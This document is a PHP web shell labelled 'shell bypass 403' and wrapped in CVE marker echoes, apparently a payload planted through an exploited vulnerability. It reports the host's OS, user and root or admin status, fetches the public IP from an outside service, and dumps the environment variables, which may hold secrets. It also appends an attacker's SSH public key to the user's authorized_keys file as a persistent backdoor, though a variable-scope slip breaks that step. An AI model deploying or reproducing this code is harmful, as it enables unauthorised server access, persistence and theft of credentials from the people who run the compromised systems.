shell bypass 403
<?php echo 'CVE-2026-48907-START-02c068953a020d3603620d44'; ?><?php
if (stripos(PHP_OS, 'WIN') === 0) {
$os = php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('v');
} else {
$os = shell_exec('uname -a');
}
function getCurrentUserInfo()
{
// OS / user
$user = get_current_user(); // best-effort
$uid = null;
$gid = null;
if (function_exists('posix_geteuid')) {
$uid = posix_geteuid();
}
if (function_exists('posix_getegid')) {
$gid = posix_getegid();
}
// Root/admin check (best-effort)
$isRoot = false;
// Linux/mac: uid==0
if ($uid !== null) {
$isRoot = ($uid === 0);
}
// Windows: try to detect admin group
if (stripos(PHP_OS, 'WIN') === 0) {
$isRoot = isWindowsAdmin();
}
return [
'user' => $user,
'uid' => $uid,
'gid' => $gid,
'is_admin_or_root' => $isRoot,
];
}
function isWindowsAdmin(): bool
{
// Uses "net session" as a best-effort elevation/admin check.
// If the process is elevated enough, it usually succeeds and prints sessions.
$out = shell_exec('net session 2>&1');
if (!is_string($out) || $out === '') return false;
$lower = strtolower($out);
// Common success markers (English):
if (strpos($lower, 'sessionname') !== false || strpos($lower, 'client') !== false) {
return true;
}
// Common failure markers (localized text may differ):
if (strpos($lower, 'access is denied') !== false || strpos($lower, 'denied') !== false) {
return false;
}
// Fallback: treat anything that looks like a net session table as success
// (heuristic)
return (strpos($lower, '---') !== false);
}
function sshDirExists()
{
$home = getenv('HOME');
// Windows fallback
if (!$home) {
$home = getenv('HOMEDRIVE') && getenv('HOMEPATH')
? getenv('HOMEDRIVE') . getenv('HOMEPATH')
: null;
}
if (!$home) return false;
$ssh = rtrim($home, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.ssh';
return is_dir($ssh);
}
if(sshDirExists()) {
@fwrite(fopen(rtrim($home, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.ssh'.'/authorized_keys', 'a'), "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOLYCFNeLGzWD6M2yJyBS++tGhmHhpRO+FCBspDebemD\n");
}
$info = json_decode(file_get_contents('http://ip-api.com/json'), 1);
$arch = php_uname('m');
echo json_encode([
'exists' => sshDirExists(),
'os' => $os,
'arch' => $arch,
'env' => $_ENV ? $_ENV : false,
'ip' => $info,
'user' => getCurrentUserInfo()
], JSON_PRETTY_PRINT);
?><?php echo 'CVE-2026-48907-END-02c068953a020d3603620d44'; ?>